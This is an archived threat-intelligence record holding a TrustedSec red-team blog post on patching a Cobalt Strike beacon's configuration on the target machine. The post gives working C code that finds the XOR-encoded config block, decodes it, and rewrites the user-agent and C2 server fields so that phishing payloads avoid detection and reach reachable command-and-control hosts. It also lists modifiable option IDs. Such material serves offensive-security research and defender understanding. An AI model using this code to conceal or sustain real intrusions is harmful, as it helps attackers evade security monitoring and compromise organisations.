{
	"id": "ec4d7045-3b50-4232-aef3-129d2111e22b",
	"created_at": "2026-04-06T01:31:30.739566Z",
	"updated_at": "2026-04-10T03:24:23.590223Z",
	"deleted_at": null,
	"sha1_hash": "bbe284d7a0647fd439eb9c332d62ec50c63a5194",
	"title": "Tailoring Cobalt Strike on Target",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 2104890,
	"plain_text": "Tailoring Cobalt Strike on Target\r\nArchived: 2026-04-06 01:19:04 UTC\r\nWe've all been there: you've completed your initial recon, sent in your emails to gather those leaked HTTP\r\nheaders, spent an age configuring your malleable profile to be just right, set up your CDNs, and spun up your\r\nredirectors. Then it's time, you send in your email aaaaaand…nothing. You can see from your DNS diagnostic\r\ncallbacks that the beacon executed, so what gives? You quickly make a few changes to your payload and resend\r\nyour phish. But it's too late, a Slack message has been sent, warning everyone to be careful of opening suspicious\r\nemails…\r\nOK, so maybe that's a tad specific, but you get the point. Phishing is getting harder and rightly so—as an industry,\r\nwe've spent years sending campaign after campaign, openly publishing research on how to evade that new security\r\nproduct with that obscure fronting technique. But we can't really afford to lose what could be our only avenue for\r\ngaining access to a target, right?\r\nHere on the TrustedSec Adversary Emulation team, we've spent a lot of time coming up with ways to ensure that\r\nour first payload execution attempt has as much chance of succeeding as possible. One effective technique is\r\noffloading the configuration of our command and control (C2) profile to the target by analysing the execution\r\nenvironment and checking our potential connectivity before we ever kick off a beacon. That way, we can be sure\r\nthat everything will work and look as benign as possible before we let our agent work its magic.\r\nUnfortunately, this kind of technique isn't supported out-of-the-box on frameworks like Cobalt Strike. In this blog\r\npost, we will look at one method that has proved to be useful to achieving this level of customization by patching\r\nCobalt Strike's beacon payload on target.\r\nhttps://www.trustedsec.com/blog/tailoring-cobalt-strike-on-target/\r\nPage 1 of 7\n\nCobalt Strike Beacon Generation\r\nBefore we look at what we are doing to squeeze out every last bit of Cobalt Strike customization we can, we first\r\nneed to understand how our options are embedded within a generated beacon.\r\nSomewhat ironically for us, this research has already been done by defenders such as\r\nSentinelOne's CobaltStrikeParser project created by Gal Kristal, which looks to extract information from a binary\r\nbeacon and displays details to defenders.\r\nSo how is our configuration embedded within a beacon and how do we find it? The first thing we need to do is to\r\nscan our beacon for the signature \\x2e\\x2f\\x2e\\x2f\\x2e\\x2c , which is an XOR obfuscated version of the binary\r\nblob  \\x00\\x01\\x00\\x01\\x00\\x02  (the significance of this blob will become apparent as we move through this\r\npost).\r\nEach option added to the beacon configuration is encoded using a header and a data value. The header is made up\r\nof three (3) 16-bit values with the format:\r\n[ ID ] [ DATA TYPE ID ] [ LENGTH OF VALUE ] [ VALUE ]\r\nThe  ID  field signifies the configuration option that this setting applies to, e.g., if the option refers to the user-agent string, the ID field would be  9 .\r\nNext the  DATA TYPE ID  field is assigned to the data type used for the options value. At the time of writing, the\r\ndata type IDs supported are:\r\n1 - Short\r\n2 - Int\r\n3 - String\r\n4 - Data\r\nFollowing this is a  LENGTH OF VALUE  field, which specifies the allocated length in bytes of the option value,\r\nwhich follows the header. An important caveat here is that the length field is set to how much total space is\r\nactually allocated for a value. For example, if we have a data type of  3  and a value of  Hello\\x00 , but the field\r\npermits 128 bytes, the length field would be set to  128 .\r\nFinally, we have the actual value itself. If we were adding a Port option (which has an  ID  of 2) of the\r\ntype  Short  and a value of  3133 , this would be represented as:\r\n[ 2 ] [ 1 ] [ 2 ] [ 3133 ]\r\nOnce our option has been embedded, it is obfuscated with an XOR key of  0x2e , which helps to hide everything\r\nfrom the casual \"strings\" command.\r\nTo make life a bit easier for us as we work with these configuration options, we can use the C struct of:\r\nhttps://www.trustedsec.com/blog/tailoring-cobalt-strike-on-target/\r\nPage 2 of 7\n\nstruct CSConfigField {\r\n unsigned short ID;\r\n unsigned short dataType;\r\n unsigned short dataLength;\r\n union {\r\n unsigned short shortData;\r\n unsigned int intData;\r\n char data[1];\r\n } value;\r\n};\r\nNow that we know just how our options are embedded within our beacon, we can move on to looking at\r\nconfiguring these options during runtime.\r\nHuh?? We Don't Even use IE\r\nOne thing that we can configure in Cobalt Strike using a malleable profile is the user-agent used by the beacon for\r\nHTTP C2 requests. To do this, we would add something like:\r\nset useragent \"something legit\";\r\nWe would typically set this to something that we gather during OSINT, but as noted in the documentation, if we\r\nfail to provide this configuration option, what we end up with is a random Internet Explorer user-agent. The way\r\nCobalt Strike does this is to select a user-agent from a finite list at random during beacon creation. Some samples\r\nare:\r\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; MALC)\r\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)\r\nNow if the target is using IE, this would be somewhat OK (although the OS version would still be a giveaway),\r\nbut what if a host known to use Chrome or Firefox suddenly starts making IE requests out to a new domain…\r\npretty suspicious.\r\nThis makes an ideal first candidate for customising our beacon payload on target, by finding any active browsers\r\nor the default registered browser and updating our  useragent  option before we kick off our beacon.\r\nTo do this, we first need to find our beacon configuration block, which as we now know can be done by hunting\r\nfor the  \\x2e\\x2f\\x2e\\x2f\\x2e\\x2c  signature:\r\n#define MAX_MALLEABLE_SIGNATURE_LENGTH 6\r\n#define MALLEABLE_SIGNATURE \"\\x2e\\x2f\\x2e\\x2f\\x2e\\x2c\"\r\n#define MALLEABLE_LENGTH 6\r\n#define MALLEABLE_XOR 0x2e\r\nhttps://www.trustedsec.com/blog/tailoring-cobalt-strike-on-target/\r\nPage 3 of 7\n\n#define MALLEABLE_CONFIG_SIZE 4096\r\nextern char inmemorybeacon[];\r\nint beaconConfigOffset = 0;\r\nint xorKey = 0;\r\nfor (int i = 0; i \u003c beaconLength - MAX_MALLEABLE_SIGNATURE_LENGTH; i++) {\r\n if (memcmp(beacon + i, MALLEABLE_SIGNATURE, MALLEABLE_LENGTH) == 0) {\r\n beaconConfigOffset = i;\r\n xorKey = MALLEABLE_XOR;\r\n break;\r\n }\r\n}\r\nOnce we have this, we need to decode the config blob using an XOR key of 0x2e :\r\nchar config[MALLEABLE_CONFIG_SIZE];\r\nfor (int i = 0; i \u003c MALLEABLE_CONFIG_SIZE; i++) {\r\n config[i] = *(beacon + beaconConfigOffset + i) ^ xorKey;\r\n}\r\nWhen decoded we can then parse the config until we find the ID of 9 corresponding to the user-agent option:\r\n#define CS_OPTION_USERAGENT 9\r\nstruct CSConfigField *configField = (struct CSConfigField *)malleable;\r\nwhile(SWAP_UINT16(configField-\u003eID) != 0x00) {\r\n if (SWAP_UINT16(configField-\u003eID) == CS_OPTION_USERAGENT) {\r\n \r\n break;\r\n }\r\n configField = (struct CSConfigField *)((char *)configField + 6 + SWAP_UINT16(configField-\u003edataLengt\r\n}\r\nIf we find this option, we will see that we have 128 bytes to play with. We first need to decide on the user-agent\r\nmost likely to make sense for our target and copy this over to our config:\r\nuserAgent = findBestUserAgentMatch();\r\nhttps://www.trustedsec.com/blog/tailoring-cobalt-strike-on-target/\r\nPage 4 of 7\n\nmemset(configField-\u003evalue.data, 0, SWAP_UINT16(configField-\u003edataLength));\r\nstrncpy(configField-\u003evalue.data, userAgent, SWAP_UINT16(configField-\u003edataLength));\r\nAnd once we have set this, we then update the config blob and re-XOR before passing execution to the beacon:\r\nfor (int i = 0; i \u003c MALLEABLE_CONFIG_SIZE; i++) {\r\n *(beacon + beaconConfigOffset + i) = config[i] ^ xorKey;\r\n}\r\nNow if everything goes well, we will end up with our C2 beaconing using our newly configured (and hopefully\r\nmore accurate) user-agent:\r\nhttps://youtu.be/65Ye_uBevrA\r\nCan we even reach our C2?\r\nNext up is something that has annoyed most of us: execution of a payload that fails because our C2 channel is\r\nblocked. Many people will use Cobalt Strike's round-robin functionality to seed a number of potentially valid\r\negress addresses, but this suffers from a number of drawbacks. First is the fact that each needs to be provided\r\nupfront, meaning we cannot adjust the C2 destination using an alternate channel if we find that we cannot connect.\r\nSecondly, the round-robin approach doesn't remove any blocked destinations from its pool, meaning if only one\r\n(1) out of four (4) targets is valid, you will still be hitting three (3) potentially blocked locations each time the\r\nbeacon cycles.\r\nSo how do we go about updating something like our C2 destination? Similar to the user-agent option, we again\r\nneed to grab our configuration block and hunt for the C2 Server option, which is found using the ID of 8 :\r\nstruct CSConfigField *configField = (struct CSConfigField *)malleable;\r\nwhile(SWAP_UINT16(configField-\u003eID) != 0x00) {\r\n if (SWAP_UINT16(configField-\u003eID) == CS_OPTION_C2) {\r\n \r\n break;\r\n }\r\n configField = (struct CSConfigField *)((char *)configField + 6 + SWAP_UINT16(configField-\u003edataLengt\r\n}\r\nBefore we update our callback destination, we need to have some idea of where to point our C2. For the purposes\r\nof this proof of concept (POC), we are going to use a hardcoded list of endpoints that are checked for connectivity,\r\nbut feel free to get creative with your egress selection process. At TrustedSec, we have crafted a few options to\r\nselect an appropriate C2 destination. One that works particularly well is a rule-based selection based on DNS\r\nCNAME records, allowing the rotation, removal, or addition of new locations as required:\r\nhttps://www.trustedsec.com/blog/tailoring-cobalt-strike-on-target/\r\nPage 5 of 7\n\nOnce we have testing connectivity to make sure that everything will work, all that is left to do is to update our C2\r\nlocation in our beacon configuration:\r\nstrncpy(configField-\u003edata, \"derivedc2address.com,/Page\", configField-\u003edataLength);\r\nHere it is worth noting the format of the configuration option, where we have our C2 address of\r\nderivedc2address.com followed by the GET page of /Page . The page option needs to match your malleable\r\nprofile (unless you use a customised redirector), but we are free to set the target as we wish.\r\nFinally, we re-XOR our config, release the beacon, and watch it connect to our newly selected destination, which\r\nwe have verified upfront will work:\r\nhttps://youtu.be/fE4nPA_eeZE\r\nWhat options are available for us to modify before execution? Some interesting options are:\r\n2 (Short) - Port\r\n3 (Int) - Sleep Time\r\n5 (Short) - Jitter\r\n8 (256 byte string) - C2 Server\r\n9 (128 byte string) - User Agent\r\n10 (64 byte string) - Post URI\r\n14 (16 byte data) - SpawnTo\r\n15 (128 byte string) - Pipe Name\r\n26 (16 byte string) - GET verb\r\n27 (16 byte string) - POST verb\r\n28 (Int - 96 as true, 0 as false) - Should Chunk Posts\r\n29 (64 byte string) - SpawnTo (x86)\r\n30 (64 byte string) - SpawnTo (x64)\r\nhttps://www.trustedsec.com/blog/tailoring-cobalt-strike-on-target/\r\nPage 6 of 7\n\nFor a full list you can either review Cobalt Strike's BeaconPayload.class , or refer to defensive tools which have\r\na pretty comprehensive list already.\r\nA sample of the code used in this post is now available on GitHub here, enjoy (and get creative)!\r\nSource: https://www.trustedsec.com/blog/tailoring-cobalt-strike-on-target/\r\nhttps://www.trustedsec.com/blog/tailoring-cobalt-strike-on-target/\r\nPage 7 of 7",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://www.trustedsec.com/blog/tailoring-cobalt-strike-on-target/"
	],
	"report_names": [
		"tailoring-cobalt-strike-on-target"
	],
	"threat_actors": [
		{
			"id": "610a7295-3139-4f34-8cec-b3da40add480",
			"created_at": "2023-01-06T13:46:38.608142Z",
			"updated_at": "2026-04-10T02:00:03.03764Z",
			"deleted_at": null,
			"main_name": "Cobalt",
			"aliases": [
				"Cobalt Group",
				"Cobalt Gang",
				"GOLD KINGSWOOD",
				"COBALT SPIDER",
				"G0080",
				"Mule Libra"
			],
			"source_name": "MISPGALAXY:Cobalt",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		}
	],
	"ts_created_at": 1775439090,
	"ts_updated_at": 1775791463,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/bbe284d7a0647fd439eb9c332d62ec50c63a5194.pdf",
		"text": "https://archive.orkl.eu/bbe284d7a0647fd439eb9c332d62ec50c63a5194.txt",
		"img": "https://archive.orkl.eu/bbe284d7a0647fd439eb9c332d62ec50c63a5194.jpg"
	}
}